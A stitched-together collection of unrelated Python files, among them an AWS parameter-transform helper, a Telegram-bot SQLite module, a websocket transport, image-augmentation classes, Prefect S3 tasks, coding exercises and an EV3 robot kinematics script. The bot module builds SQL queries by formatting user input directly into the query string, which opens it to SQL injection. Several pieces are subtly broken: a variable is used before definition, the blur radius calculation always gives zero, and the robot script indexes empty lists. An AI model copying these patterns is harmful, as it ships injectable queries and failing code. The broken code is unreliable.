        >>> get_transform_method("key", "auto")
        None
        >>> get_transform_method("key", None)
        None

    Parameters
    ---------
    key: str
        Only used when the tranform is "auto".
    transform: str, optional
        Original transform method, only "auto" will try to detect the transform method by the key

    Returns
    ------
    Optional[str]:
        The transform method either when transform is "auto" then None, "json" or "binary" is returned
        or the original transform method
    """
    if transform != "auto":
        return transform

    for transform_method in SUPPORTED_TRANSFORM_METHODS:
        if key.endswith("." + transform_method):
            return transform_method
    return None

def transform_value(
    value: str, transform: str, raise_on_transform_error: Optional[bool] = True
) -> Optional[Union[dict, bytes]]:
    """
    Apply a transform to a value

    Parameters
    ---------
    value: str
        Parameter value to transform
    transform: str
        Type of transform, supported values are "json" and "binary"
    raise_on_transform_error: bool, optional
        Raises an exception if any transform fails, otherwise this will
        return a None value for each transform that failed

    Raises
    ------
    TransformParameterError:
        When the parameter value could not be transformed
    """

    try:
        if transform == TRANSFORM_METHOD_JSON:
            return json.loads(value)
        elif transform == TRANSFORM_METHOD_BINARY:
            return base64.b64decode(value)
        else:
            raise ValueError(f"Invalid transform type '{transform}'")

    except Exception as exc:
        if raise_on_transform_error:
            raise TransformParameterError(str(exc))
        return None

def clear_caches():
    """Clear cached parameter values from all providers"""
    DEFAULT_PROVIDERS.clear()


#!/usr/bin/env python
from scipy import *
from pylab import *
from scipy import integrate

def realintegrand(tau,om):
	return (1./(tau+2)*exp(1.0j*om*tau)).real
def imagintegrand(tau,om):
	return (1./(tau+2)*exp(1.0j*om*tau)).imag

if __name__=="__main__":
	ns=1000;Nom=20;beta=100
	omls=[]
	Greom=[]
	Gimom=[]
	for i in range(ns,ns+Nom):
	   omls.append((2*i+1)*pi/beta)
#	omls=[0]
	for om in omls:
	    Gre=integrate.quad(realintegrand,0,beta,args=(om,))[0]
	    Gim=integrate.quad(imagintegrand,0,beta,args=(om,))[0]
	    Greom.append(Gre)
	    Gimom.append(Gim)
	plot(omls,Greom,'*-',label='real')
	plot(omls,Gimom,'o-',label='imag')
	legend(loc=0)
	show()


import datetime
import parse
import re

def check(s):
    try:
        return s
    except:
        return ''

def add_user(m, conn, base):
    """
    Сохранение доступной информации о пользователе
    """
    try:
        base.execute("insert into users VALUES (?,?,?,?,?)",
                     (m.chat.id, m.chat.first_name, m.chat.last_name,m.chat.username, datetime.datetime.today()))
        conn.commit()
        print('Ok')
    except Exception as e:
        print(e)
        pass

def insert_line(conn, base):
    try:
        now = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')
        line = parse.get_line()
        if len(line) > 0:
            base.execute("select count(*) from events where last_upd >= datetime('now', 'localtime', '+12 hour')")
            last_upd = base.fetchall()
            if last_upd[0][0] > 0 :
                base.execute("DELETE FROM events")
                print('Линия удалена')
                conn.commit()
                for i in line:
                    base.execute("insert into events VALUES (?,?,?,?,?,?)",
                                 (check(i[0]),
                                  check(i[1]),
                                  check(i[2]),
                                  check(i[3]),
                                  check(i[4]),
                                  now)
                                )
                    conn.commit()
    except:
        pass

def get_event_name(con, base, s):
    n = []
    try:
        s = "select distinct name, id from events where name like '%{}%'".format(s[1:])
        # print(s)
        base.execute(s)
        n = base.fetchall()
    except:
        pass
    return n

def get_event_hour(conn, base, h, f):
    try:
        sql = "select distinct name, id from events " \
              "where start_time <= datetime('now', 'localtime', '+{} hour') " \
              "and name like '%{}%' " \
              "and start_time >= datetime('now', 'localtime')".format(h, re.findall('[а-яА-Я]+', f)[0][1:])
        base.execute(sql)
        r = base.fetchall()
    except:
        r = ''
    return r


from __future__ import absolute_import
import urllib
from websocket import WebSocket

from ..parser import Packet
from ..transport import Transport
from ..utils import format_long

import logging
logger = logging.getLogger(__name__)

class Websocket(Transport):
    name = 'websocket'

    def __init__(self, *args, **kwargs):
        super(Websocket, self).__init__(*args, **kwargs)
        self.scheme = 'ws'
        self.connection = WebSocket()
        self.reading = False
        self.writing = False
        self.read_loop = None

    def get_uri(self):
        query = {
            'EIO': '3',
            'transport': self.name
        }

        if self.client and self.client.sid:
            query['sid'] = self.client.sid

        querystring = urllib.parse.urlencode(query)

        return '%s://%s:%d%s/?%s' % (self.scheme, self.hostname,
                                    self.port, self.path, querystring)

    def loop_read(self):
        while self.state in ['opening', 'open']:
            if self.state == 'opening':
                self.handle_open()
            packet = self.read()
            packet = self.parser.decode_packet(packet)
            self.handle_packet(packet)

    def do_open(self):
        self.connection.connect(self.get_uri())
        self.read_loop = self.client.start_loop(self.loop_read)

    def do_close(self):
        def close():
            self.send([Packet(Packet.CLOSE)])
            self.client.stop_loop(self.read_loop)

        if self.state == 'open':
            close()
        else:
            self.once('open', close)

    def do_send(self, packets):
        for packet in packets:
            enc_packet = self.parser.encode_packet(packet)
            self.write(enc_packet)

    def read(self):
        self.reading = True
        packet = self.connection.recv()
        return packet

    def write(self, packet):
        self.writing = True
        logger.debug('Sending payload: %s' % repr(packet))
        self.connection.send(packet)


import urllib.request

file = urllib.request.urlopen("http://www.baidu.com")

data=file.read()

dataline=file.readline()

# print (data)
#
# print (dataline)

fhandle = open("1.html",'wb')
fhandle.write(data)

fhandle.close()


from typing import Set
import pygame

class Cell:
    def __init__(
        self,
        x: int,
        y: int,
        start: bool = False,
        end: bool = False,
        obstacle: bool = False,
    ):
        self.x = x
        self.y = y
        self.pos = (x, y)

        self.start = start
        self.end = end
        self.obstacle = obstacle

        self.neighbours: Set["Cell"] = set()
        self.visited = False
        self.visitable = False

    def __str__(self) -> str:
        if self.obstacle:
            return "#"
        elif self.start:
            return "O"
        elif self.end:
            return "X"
        elif self.visited:
            return "."
        return " "

    def __repr__(self) -> str:
        return str(self.pos)

    def to_json(self) -> int:
        if self.obstacle:
            return 1
        elif self.start:
            return 2
        elif self.end:
            return 3
        return 0

    def add_neighbours(self, grid) -> set:
        if self.x > 1 and not grid[self.x - 2, self.y].obstacle:
            self.neighbours.add(grid[self.x - 2, self.y])  # left

        if self.x + 2 < grid.width and not grid[self.x + 2, self.y].obstacle:
            self.neighbours.add(grid[self.x + 2, self.y])  # right

        if self.y > 1 and not grid[self.x, self.y - 2].obstacle:
            self.neighbours.add(grid[self.x, self.y - 2])  # top

        if self.y + 2 < grid.height and not grid[self.x, self.y + 2].obstacle:
            self.neighbours.add(grid[self.x, self.y + 2])  # bottom

        return self.neighbours

    def remove_wall(self, grid, next: "Cell") -> "Cell":
        cell = None

        if self.x < next.x:
            cell = grid[self.x + 1, self.y]
        elif self.x > next.x:
            cell = grid[self.x - 1, self.y]
        elif self.y < next.y:
            cell = grid[self.x, self.y + 1]
        elif self.y > next.y:
            cell = grid[self.x, self.y - 1]

        cell.obstacle = False
        cell.visited = True
        return cell

    def wall_between(self, grid, other: "Cell") -> bool:
        cell = None

        if self.x < other.x:
            cell = grid[self.x + 1, self.y]
        elif self.x > other.x:
            cell = grid[self.x - 1, self.y]
        elif self.y < other.y:
            cell = grid[self.x, self.y + 1]
        elif self.y > other.y:
            cell = grid[self.x, self.y - 1]

        return cell.obstacle

    def draw(self, screen: pygame.Surface):
        color = (0, 0, 0)
        if self.obstacle:
            color = (255, 255, 255)
        elif self.start:
            color = (255, 0, 0)
        elif self.end:
            color = (0, 255, 0)
        elif self.visited:
            color = (0, 0, 255)
        pygame.draw.rect(
            screen, color, pygame.Rect(self.x * 16, self.y * 16, 16, 16)
        )

    def reset(self):
        self.neighbours = set()
        self.visited = False
        self.obstacle = self.x % 2 == 1 or self.y % 2 == 1
        self.visitable = not self.obstacle


import random

import cv2
import numpy as np
from PIL import Image
from scipy.interpolate import UnivariateSpline
from torchvision.transforms import Compose as TorchvisionCompose
from torchvision.transforms import Lambda
from torchvision.transforms import functional as TVF

def adjust_brightness(src, brightness_factor):
    """Adjust brightness of an Image.
    Args:
        src (numpy ndarray): numpy ndarray to be adjusted.
        brightness_factor (float):  How much to adjust the brightness. Can be
            any non negative number. 0 gives a black image, 1 gives the
            original image while 2 increases the brightness by a factor of 2.
    Returns:
        numpy ndarray: Brightness adjusted image.
    """
    dst = np.array(
        TVF.adjust_brightness(Image.fromarray(src), brightness_factor)
    )
    return dst

def adjust_contrast(src, contrast_factor):
    """Adjust contrast of an mage.
    Args:
        src (numpy ndarray): numpy ndarray to be adjusted.
        contrast_factor (float): How much to adjust the contrast. Can be any
            non negative number. 0 gives a solid gray image, 1 gives the
            original image while 2 increases the contrast by a factor of 2.
    Returns:
        numpy ndarray: Contrast adjusted image.
    """
    dst = np.array(TVF.adjust_contrast(Image.fromarray(src), contrast_factor))
    return dst

def adjust_hue(img, hue_factor):
    """Adjust hue of an image.
    The image hue is adjusted by converting the image to HSV and
    cyclically shifting the intensities in the hue channel (H).
    The image is then converted back to original image mode.
    `hue_factor` is the amount of shift in H channel and must be in the
    interval `[-0.5, 0.5]`.
    See `Hue`_ for more details.
    .. _Hue: https://en.wikipedia.org/wiki/Hue
    Args:
        img (numpy ndarray): numpy ndarray to be adjusted.
        hue_factor (float):  How much to shift the hue channel. Should be in
            [-0.5, 0.5]. 0.5 and -0.5 give complete reversal of hue channel in
            HSV space in positive and negative direction respectively.
            0 means no shift. Therefore, both -0.5 and 0.5 will give an image
            with complementary colors while 0 gives the original image.
    Returns:
        numpy ndarray: Hue adjusted image.
    """
    dst = np.array(TVF.adjust_hue(Image.fromarray(img), hue_factor))
    return dst

def adjust_gamma(img, gamma, gain=1):
    r"""Perform gamma correction on an image.
    Also known as Power Law Transform. Intensities in RGB mode are adjusted
    based on the following equation:
    .. math::
        I_{\text{out}} = 255 \times \text{gain} \times \left(\frac{I_{\text{in}}}{255}\right)^{\gamma}
    See `Gamma Correction`_ for more details.
    .. _Gamma Correction: https://en.wikipedia.org/wiki/Gamma_correction
    Args:
        img (numpy ndarray): numpy ndarray to be adjusted.
        gamma (float): Non negative real number, same as :math:`\gamma` in the equation.
            gamma larger than 1 make the shadows darker,
            while gamma smaller than 1 make dark regions lighter.
        gain (float): The constant multiplier.
    """
    if gamma < 0:
        raise ValueError("Gamma should be a non-negative real number")
    # from here
    # https://stackoverflow.com/questions/33322488/how-to-change-image-illumination-in-opencv-python/41061351
    dst = np.array(TVF.adjust_gamma(Image.fromarray(img), gamma, gain))
    return dst

def adjust_saturation(img, factor=0.0):
    """
    Image saturation adjustment.
    Args:
        img (numpy ndarray): numpy ndarray to be adjusted.
        factor (float): real number in [-1,1], saturation (S-channel in HSV model) is varied according to it.
        -1: grayscale, 0: no change, 1: unnaturally colorful img
    """
    dst = np.array(TVF.adjust_saturation(Image.fromarray(img), factor))
    return dst

def create_LUT_8UC1(x, y):
    spl = UnivariateSpline(x, y)
    return spl(range(256))

def adjust_temperature(img, factor=1):
    """Adjust color temperature of BGR image by changing color histogram of B and R channels.

    The image temperature is changed by modifying image color histogram.
     Source code is inspired by:
     http://www.askaswiss.com/2016/02/how-to-manipulate-color-temperature-opencv-python.html

    hue_factor is the amount of histogram center shift and must be in the
    interval [-1, 1].
    Args:
        img (np.ndarray): np.ndarray to be adjusted.
        factor (float):  How much to shift the R and B histogram channels. Should be in
            [-1, 1]. 1 == 'warm' colors, -1 == 'cold' colors.
    Returns:
        np.ndarray: Temperature adjusted image.
    """
    if not (-1 <= factor <= 1):
        raise ValueError(f"{factor} is not in [-1, 1].")

    if factor == 0:
        return img

    inp = [0, 64, 128, 192, 256]
    dest_warm = [0, 70, 140, 210, 256]
    dest_cold = [0, 30, 80, 120, 192]

    abs_factor = abs(factor)
    delta = np.array(dest_warm) - np.array(inp)
    dest_warm = (np.array(inp) + np.array(delta) * abs_factor).tolist()
    delta = np.array(dest_cold) - np.array(inp)
    dest_cold = (np.array(inp) + np.array(delta) * abs_factor).tolist()

    incr_ch_lut = create_LUT_8UC1(inp, dest_warm)
    decr_ch_lut = create_LUT_8UC1(inp, dest_cold)

    if factor > 0:
        incr_ch_lut, decr_ch_lut = decr_ch_lut, incr_ch_lut

    # factor > 0 --> make warm --> increase R and desrease B.
    img[:, :, 2] = cv2.LUT(img[:, :, 2], incr_ch_lut).astype(np.uint8)
    img[:, :, 0] = cv2.LUT(img[:, :, 0], decr_ch_lut).astype(np.uint8)

    # factor > 0 --> make warm --> increase saturation, or vise-versa
    hsv_lut = incr_ch_lut if factor < 0 else decr_ch_lut
    img_hsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)
    img_hsv[:, :, 1] = cv2.LUT(img_hsv[:, :, 1], hsv_lut).astype(np.uint8)
    img = cv2.cvtColor(img_hsv, cv2.COLOR_HSV2BGR)
    return img

class RandomHorizontalFlip:
    """Horizontally flip the given np.ndarray randomly with a given probability.
    Args:
        p (float): probability of the image being flipped. Default value is 0.5
        tags (tuple of str): names of image data keys from sample dict
    """

    def __init__(self, p=0.5, tags=("image",)):
        self.p = p
        self.tags = tags

    def __call__(self, sample_dict):
        to_flip = random.random() < self.p
        common_tags = set(self.tags).intersection(set(sample_dict.keys()))
        for tag in common_tags:
            if to_flip:
                sample_dict[tag] = np.fliplr(sample_dict[tag].copy())

        return sample_dict

    def __repr__(self):
        return f"{self.__class__.__name__}(p={self.p})"

class ColorJitterCV:
    """Randomly change the brightness, contrast, color temperature, saturation or apply gamma transform to an image.
    Each arg is list of length 1 or 2; if passed list of length 1 then factors are calculated as follows:

    Args:
        brightness (list with length either 1 or 2): How much to jitter brightness. brightness_factor
            is chosen uniformly from [max(0, 1 - brightness[0]), 1 + brightness[0]].
        contrast (list with length either 1 or 2): How much to jitter contrast. contrast_factor
            is chosen uniformly from [max(0, 1 - contrast[0]), 1 + contrast[0]].
        saturation (list with length either 1 or 2): How much to jitter saturation. saturation_factor
            is chosen uniformly from [max(0, 1 - saturation[0]), 1 + saturation[0]].
        hue(list with length either 1 or 2): How much to jitter hue. hue_factor is chosen uniformly from
            [-hue[0], hue[0]]. Should be >=0 and <= 0.5.

        gamma(list with length either 1 or 2): How much to jitter gamma. gamma is chosen uniformly from
            [1-gamma[0], 1+gamma[0]]. Should be >=0 and <= 0.5.
        temp(list with length either 1 or 2): How much to jitter color temperature. Value is chosen uniformly from
            [-temp[0], temp[0]]. Should be >=0 and <= 1.
        p(float from 0.0 to 1.0): probability of applying color jitter, default: 0.75
    If list of length 2 is passed (e.g. brightness=[0.9, 1.5]) then this exact (except clipping) interval is used to
    pick from in random uniform fashion.
    Clipping boundaries for intervals are:
        brightness in (0, inf)
        contrast in (0, inf)
        saturation in (0, inf)
        hue in (-0.5, 0.5)
        gamma in (0.5, 1.5)
        gain in (0.5, 1.5)
        temp in (-1, 1)
        sharpness in (-inf, inf)
    """

    def __init__(
        self,
        brightness=0,
        contrast=0,
        saturation=0,
        hue=0,
        gamma=0,
        # gain=0,
        temp=0,
        p=0.75,
        tags=("image",),
    ):
        self.brightness = (
            brightness
            if self.check_param(brightness)
            else [max(0, 1 - brightness), 1 + brightness]
        )
        self.contrast = (
            contrast
            if self.check_param(contrast)
            else [max(0, 1 - contrast), 1 + contrast]
        )
        self.saturation = (
            saturation
            if self.check_param(saturation)
            else [-saturation, saturation]
        )
        self.hue = hue if self.check_param(hue) else [-hue, hue]
        self.gamma = (
            gamma if self.check_param(gamma) else [1 - gamma, 1 + gamma]
        )
        # self.gain = gain if self.check_param(gain) else [1 - gain, 1 + gain]
        self.temp = temp if self.check_param(temp) else [-temp, temp]

        # Proper interval clippings:
        self.brightness = np.clip(self.brightness, 0, None)
        self.contrast = np.clip(self.contrast, 0, None)
        self.hue = np.clip(self.hue, -0.5, 0.5)
        self.gamma = np.clip(self.gamma, 0.5, 1.5)
        # self.gain = np.clip(self.gain, 0.5, 1.5)
        self.temp = np.clip(self.temp, -1, 1)

        # helper parameters
        self.p = p
        self.tags = tags

    @staticmethod
    def check_param(param):
        return hasattr(param, "__len__") and len(param) == 2

    def __repr__(self):
        format_string = f"{self.__class__.__name__}("
        format_string += f"brightness={self.brightness},"
        format_string += f"contrast={self.contrast},"
        format_string += f"saturation={self.saturation},"
        format_string += f"hue={self.hue},"
        format_string += f"gamma={self.gamma},"
        # format_string += f"gain={self.gain},"
        format_string += f"temp={self.temp}"
        format_string += ")"
        return format_string

    @staticmethod
    def get_params(brightness, contrast, saturation, hue, gamma, temp):
        """Get a randomized transform to be applied on image.

        Arguments are same as that of __init__.

        Returns:
            Transform which randomly adjusts brightness, contrast and
            saturation in a random order.
        """
        transforms = []
        # handling gamma correction / brightness params
        gamma_factor = 1
        if not np.allclose(gamma, 1):
            gain_factor = 1
            gamma_factor = np.clip(
                random.uniform(gamma[0], gamma[1]), 0.5, 1.5
            )
            transforms.append(
                Lambda(
                    lambda img: adjust_gamma(
                        np.array(img), gamma_factor, gain_factor
                    )
                )
            )
        if not np.allclose(brightness, 1):
            if gamma_factor < 1 and brightness[1] > 1:
                brightness_factor = random.uniform(1, brightness[1])
            elif gamma_factor > 1 and brightness[0] < 1:
                brightness_factor = random.uniform(brightness[0], 1)
            elif gamma_factor == 1:
                brightness_factor = random.uniform(
                    brightness[0], brightness[1]
                )
            else:
                brightness_factor = 1
            transforms.append(
                Lambda(lambda img: adjust_brightness(img, brightness_factor))
            )

        if not np.allclose(contrast, 1):
            contrast_factor = random.uniform(contrast[0], contrast[1])
            transforms.append(
                Lambda(lambda img: adjust_contrast(img, contrast_factor))
            )
        if not np.allclose(saturation, 0):
            saturation_factor = random.uniform(saturation[0], saturation[1])
            transforms.append(
                Lambda(lambda img: adjust_saturation(img, saturation_factor))
            )
        if not np.allclose(temp, 0):
            temp_factor = random.uniform(temp[0], temp[1])
            transforms.append(
                Lambda(lambda img: adjust_temperature(img, temp_factor))
            )
        if not np.allclose(hue, 1):
            hue_factor = float(
                np.clip(random.uniform(hue[0], hue[1]), -0.5, 0.5)
            )
            transforms.append(Lambda(lambda img: adjust_hue(img, hue_factor)))

        random.shuffle(transforms)
        transform = TorchvisionCompose(transforms)

        return transform

    def __call__(self, sample_dict):
        transform_func = self.get_params(
            self.brightness,
            self.contrast,
            self.saturation,
            self.hue,
            self.gamma,
            # self.gain,
            self.temp,
            # self.sharpness,
        )
        if np.random.random() < self.p:
            for tag in self.tags:
                sample_dict[tag] = transform_func(sample_dict[tag].squeeze())

        return sample_dict

class RandomGaussianBlur:
    """
    Args:
        radius (int, (int, int)): If radius is a single int, the range
            will be (3, radius). Default: (3, 8).
        p (float, from 0.0 to 1.0): probability of applying blur, default: 0.5
        tags (list of str): list of sample dict keys to apply image transform to
    """

    def __init__(
        self,
        radius=(1, 3),
        tags=("image",),
        p=0.5,
    ):
        self.p = p
        self.tags = tags
        assert (
            type(radius) is tuple
            and len(radius) == 2
            or type(radius) is int
            and radius > 1
        ), "Wrong input: radius"

        if isinstance(radius, float):
            self.radius = (1, radius)
        else:
            self.radius = radius

    def get_params(self):
        return {
            "sigmaX": self.radius[0]
            + random.random() * (self.radius[1] - self.radius[1])
        }

    def __repr__(self):
        format_string = (
            f"{self.__class__.__name__}(p={self.p}, radius={self.radius}"
        )
        return format_string

    def __call__(self, sample_dict):
        params = self.get_params()
        if random.random() > self.p:
            for tag in self.tags:
                sample_dict[tag] = cv2.GaussianBlur(
                    sample_dict[tag].copy(), None, **params
                )
        return sample_dict


import glob
from collections import defaultdict
from pathlib import Path
from prefect import task, get_run_logger
from src.support import initialize_s3_client, aws_load_files_year, local_clean_confirm_files, s3_clean_confirmation_files

@task(retries=5, retry_delay_seconds=5)
def load_year_files(data: dict, region_name: str, bucket_name: str):
    """Loads Archive File to S3

    Args:
        data: <work this out>
        region_name (str): target s3 region
        bucket_name (str): target s3 bucket
    """
    logger = get_run_logger()
    s3_client = initialize_s3_client(region_name)
    # If not exists - creates year folder in aws
    s3_client.put_object(Bucket=bucket_name, Body="", Key=f"data/")

    success, failed = aws_load_files_year(
        s3_client=s3_client,
        bucket=bucket_name,
        filepaths_l=data,
    )
    year = str(Path(data[0]).name)[:4]
    logger.info(f"{year} | success: {success}, failed: {failed}")

@task()
def flag_updates(bucket: str, local_dir: str, region_name: str, all: bool) -> dict:
    """Takes individual year and finds file difference between AWS and Local

    Args:
        bucket (str): target AWS bucket
        local_dir (str): local directory with year folders
        region_name (str): AWS region used for s3_client connection
        all (bool): <I think this isn't used now>

    Return
        set: Diference between AWS and Local
    """
    logger = get_run_logger()

    if not all:
        years.sort()
        years = years[-1]
        logger.info(f"ONLY Check for updates to {years} related data")

    update_l = []

    s3_client = initialize_s3_client(region_name)
    # If not exists - creates year folder in aws
    s3_client.put_object(Bucket=bucket, Body="", Key=f"data/")

    # File difference between local and aws for indidivual folder/year
    aws_file_set = set()
    paginator = s3_client.get_paginator("list_objects_v2")
    pages = paginator.paginate(Bucket=bucket, Prefix='data')
    for page in pages:
        list_all_keys = page["Contents"]
        # item arrives in format of 'year/filename'; this removes 'year/'
        file_l = [x["Key"].split("/")[1] for x in list_all_keys]
        for f in file_l:
            aws_file_set.add(f)

    # prep AWS "___complete" files for compare
    aws_version_set = set([x for x in aws_file_set if "___complete" in x])

    # find local version file
    local_files = glob.glob(f"{local_dir}/**/*___complete", recursive=True)
    local_files = sorted(local_files)
    local_file_set = set([Path(x).name for x in local_files])

    update_l = local_file_set.difference(aws_version_set)

    logger.info(f"Update/Changes to Upload: {len(update_l)}")
    logger.info(update_l)

    upload_l = []
    logger.info('local_dir: ' + local_dir)
    # parent_dir = Path(local_files[0]).parent.parent
    for u in update_l:
        upload_l.append(Path(local_dir) / u[:4] / u)

    return upload_l

@task(retries=3, retry_delay_seconds=5)
def cleanup_confirm_files(bucket_name, region_name, local_dir):
    """Removes All But Most Recent Confirm File from S3

    Args:
        bucket_name (str): target S3 bucket
        region_name (str): target S3 region (used to initialize client)
        local_dir (str): local directory where year archives are stored

    """
    # TODO: To cover all angles, this could query the S3 bucket and see if multiple ___complete files for each
    #       year exists there as well. In the current state, this will only clean up files based on what is
    #       stored locally.

    logger = get_run_logger()

    s3_client = initialize_s3_client(region_name)
    local_count = local_clean_confirm_files(local_dir)
    s3_count = s3_clean_confirmation_files(s3_client, bucket_name)
    logger.info(f"Cleaned up {local_count} old LOCAL '___complete' files.")
    logger.info(f"Cleaned up {s3_count} old AWS S3 '___complete' files.")


import math

record_in_seconds = float(input())
distance_in_meters = float(input())
time_in_seconds_per_meter = float(input())

delay = math.floor(distance_in_meters / 50) * 30

runer_time = distance_in_meters * time_in_seconds_per_meter
time_with_delay = runer_time + delay
difference = abs(record_in_seconds - time_with_delay)

if record_in_seconds > time_with_delay:
    print(f"Yes! The new record is {time_with_delay:.2f} seconds.")

else:
    print(f"No! He was {difference:.2f} seconds slower.")


import cv2
import numpy as np

def adjust_gamma(image, gamma=1.0):

   invGamma = 1.0 / gamma
   table = np.array([((i / 255.0) ** invGamma) * 255
      for i in np.arange(0, 256)]).astype("uint8")

   return cv2.LUT(image, table)

def apply_brightness_contrast(input_img, brightness = 0, contrast = 0):

    if brightness != 0:
        if brightness > 0:
            shadow = brightness
            highlight = 255
        else:
            shadow = 0
            highlight = 255 + brightness
        alpha_b = (highlight - shadow)/255
        gamma_b = shadow

        buf = cv2.addWeighted(input_img, alpha_b, input_img, 0, gamma_b)
    else:
        buf = input_img.copy()

    if contrast != 0:
        f = 131*(contrast + 127)/(127*(131-contrast))
        alpha_c = f
        gamma_c = 127*(1-f)

        buf = cv2.addWeighted(buf, alpha_c, buf, 0, gamma_c)

    return buf


def is_an_bn(word):
    count_a = 0
    count_b = 0
    for i, char in enumerate(word):
        if char == "a":
            count_a += 1
        if char == "b":
            while i + 1 < len(word) and word[i+1] == "b":
                count_b += 1
                i += 1
            else:
                count_b += 1
                if i+1 == len(word):
                    break
                else:
                    return False
    if count_a == count_b:
        return True
    else:
        return False
print(is_an_bn("aaaaabbbbb"))


n = int(input())
a = list(map(int,input().split()))
x = int(input())
result = []
def gcd(a,b):
    if a>b:
        while(b > 0):
            a,b = b,a%b
        return a
    else:
        while(a>0):
            b,a = a,b%a
        return b
for i in a:
    if gcd(i,x) == 1:
        result.append(i)

print(sum(result)/len(result))


text = [list(line.strip()) for line in list(open('inputtxt/day11input.txt').read().splitlines())]
print(text)
from copy import deepcopy

length = len(text)
width = len(text[0])

def evolve(text_x, part_one = True):
    while True:
        copy = deepcopy(text_x)
        change = False
        for x in range(length):
            for y in range(width):
                z = 0
                for dx in [-1, 0, 1]:
                    for dy in [-1, 0, 1]:
                        if not (dx == 0 and dy == 0):
                            nx = dx + x
                            ny = dy + y
                            while 0 <= nx < length and 0 <= ny < width and text_x[nx][ny] == '.' and (not part_one):
                                nx += dx
                                ny += dy
                            if 0 <= nx < length and 0 <= ny < width and text_x[nx][ny] == '#':
                                z += 1
                if text_x[x][y] == 'L':
                    if z == 0:
                        copy[x][y] = '#'
                        change = True
                elif text_x[x][y] == '#' and z >= (4 if part_one else 5):
                    copy[x][y] = 'L'
                    change = True
        if not change:
            break
        text_x = deepcopy(copy)
    answer = 0
    for x in range(length):
        for y in range(width):
            if text_x[x][y] == '#':
                answer += 1
    return answer

print(evolve(text, True))
print(evolve(text, False))


from openpyxl import Workbook
import openpyxl
import xlwings as xw
from pynvn.excel import mrowandmcolum,sheet_by_namesheet
from pynvn.excel import (convertrangaphatonunber,
                            returnrangelastcolumn)
class credict:
    """ create dict for value and key """
    def __init__ (self, ws = None,
                        rangea = "C7:C1000",
                        pathfull = None,
                        namesheet ="PTVT1",
                        engine ="openpyxl"):
        self.rangea = rangea
        self.engine = engine
        self.ws = sheet_by_namesheet(path=pathfull,
                                        namesheet=namesheet)

        self.lastrow = self.ws.range('A' + str(self.ws.cells.last_cell.row)).end('up').row

        self.rangea = returnrangelastcolumn(stringrang=rangea,lrow=self.lastrow)
    def reindexrownotnone(self):
        """ renturn index which value not none"""
        key_list = [cell.row for cell in self.ws.range(self.rangea) if cell.value != None]
        return key_list

    def revaluerownotnone(self):
        """ renturn value which value not none"""

        value_list = [cell.value for cell in self.ws.range(self.rangea) if cell.value != None]

        return value_list
    def redictvaluesandvaluecol(self, columnumber = 4, removeemtyvalue = True):
        """ return dict value and value column"""
        rnn = self.reindexrownotnone()
        rvm = self.revaluerownotnone()
        arrch = []
        res = list(zip(rnn, rnn[1:] + rnn[:1]))
        for eler in res:
            arrchild = self.__listchild(eler,columnumber=columnumber)
            arrch.append(arrchild)
            arrchild = None
        dictionary = dict(zip(rvm, arrch))

        if removeemtyvalue:
            new_dict = {key:val for key, val in dictionary.items() if len(val) != 0}
        else:
            new_dict = dictionary
        return new_dict

    def returndictvaluebyindexcolumnandrow(self,
                                            value_criteria_range,
                                            range_col ="D7:D1000",
                                            indexcolumn = [5,6,8]):
        """ return dict by value rangce_col and indexcolumn """
        indexrcevalu = [[self.valuebycol_row(cell.row,indexcolumn[0]),
                                self.valuebycol_row(cell.row,indexcolumn[1]),
                                self.valuebycol_row(cell.row,indexcolumn[2])] \
                                for cell in self.ws.range(range_col) if cell.value == value_criteria_range]

        return indexrcevalu

    def valuebycol_row(self,irow,icolumn):
        """ return value cell by index column and row"""
        valuebycolr = self.ws.range(irow,icolumn).value
        return valuebycolr

    def __listchild(self,ele,columnumber = 4):
        s,t = ele
        arrchild = [[self.ws.range((ie,columnumber)).row,
                        self.ws.range((ie,columnumber)).value] for ie in range(s,t) if self.ws.range((ie,
                                                                                columnumber)).value != None]
        return arrchild

    def listothercell (self,irow,icolumn):
        """ return value of column sheet ptvl1"""
        valuebycolr = self.ws.range(irow,icolumn).value
        return valuebycolr


#!/usr/bin/env python3
import numpy as np
import matplotlib as mpl
import matplotlib.pyplot as plt
from utilities import *

from ev3dev2.motor import LargeMotor, MediumMotor, OUTPUT_A, OUTPUT_B, OUTPUT_C, OUTPUT_D, SpeedPercent, MoveTank
from ev3dev2.sensor import INPUT_1
from ev3dev2.sensor.lego import TouchSensor
from ev3dev2.led import Leds

# Definisco i parametri di DH

a1=7.5
a2=6.5
a3=2
a4=0

d1=6.5
d2=4.2
d3=3.7
d4=0.5

alpha1=np.pi/2
alpha2=-np.pi/2
alpha3=np.pi/2
alpha4=0

a=[a1,a2,a3,a4]
d=[d1,d2,d3,d4]
alpha=[alpha1, alpha2, alpha3, alpha4]
lmax = sum(a)+sum(d);

# Configurazione iniziale
q1 = np.pi/2
q2 = 0
q3 = -np.pi/4
q4 = np.pi
qe_i = np.array([q1,q2,q3,q4])
qe = []
qd = []
qe[0] = qe_i
qd[0] = qe_i #Chiedere al prof

T01 = DH_computation(d1,a1,alpha1,q1)
T12 = DH_computation(d2,a2,alpha2,q2)
T23 = DH_computation(d3,a3,alpha3,q3)
T34 = DH_computation(d4,a4,alpha4,q4)
T02 = np.matmul(T01,T12)
T03 = np.matmul(T02,T23)
T04 = np.matmul(T03,T34)
p_i = DirectKinematics(T04) #è la mia pA

# FAI LA STESSA COSA PER LA CONFIGURAZIONE FINALE

# Definisco alcuni valori utili
xd = p_i
xddot = np.array([0,0,0])
xe = p_i #l LEGGO DAI SENSORI
pA = [-0.7,1.1,-0.1]

tA = 0
tB = 5
tC=10
delta_t = 1
time = np.arange(tA,tC,delta_t)
K = 10
pB = np.array([1, 1, 1])
pC=np.array([1.97,1.45,-1.20])
ro=2
Cen=np.array([0, 0, 0])
deg=np.pi/4
qddot = []
error = []

for i in range(1,len(time)):
    [xd[i,:],xddot[i,:]] = cartesianPlanner(pA,pB,pC,ro,deg,Cen,tA,tB,tC,time[i])

    # qe1 = lm1.position
    # qe2 = qe1 + lm2.position
    # qe3 = qe2 + lm3.position
    # qe4 = qe3 + lm3.position
    # qe[i] = np.array([qe1,qe2,qe3,qe4])
    qddot[i,:],error[i,:] = InverseKinematicsProgetto(qd[i-1,:],a,xd[i,:],xddot[i,:],5,"i",K)
    qd[i,:] = qd[i-1,:] + np.matmul(qddot[i,:],delta_t)
    # PAUSA
    lm1.on_to_position(10,qd[i,0])
    lm2.on_to_position(10,qd[i,1])
    lm3.on_to_position(10,qd[i,2])
    mm1.on_to_position(10,qd[i,3])


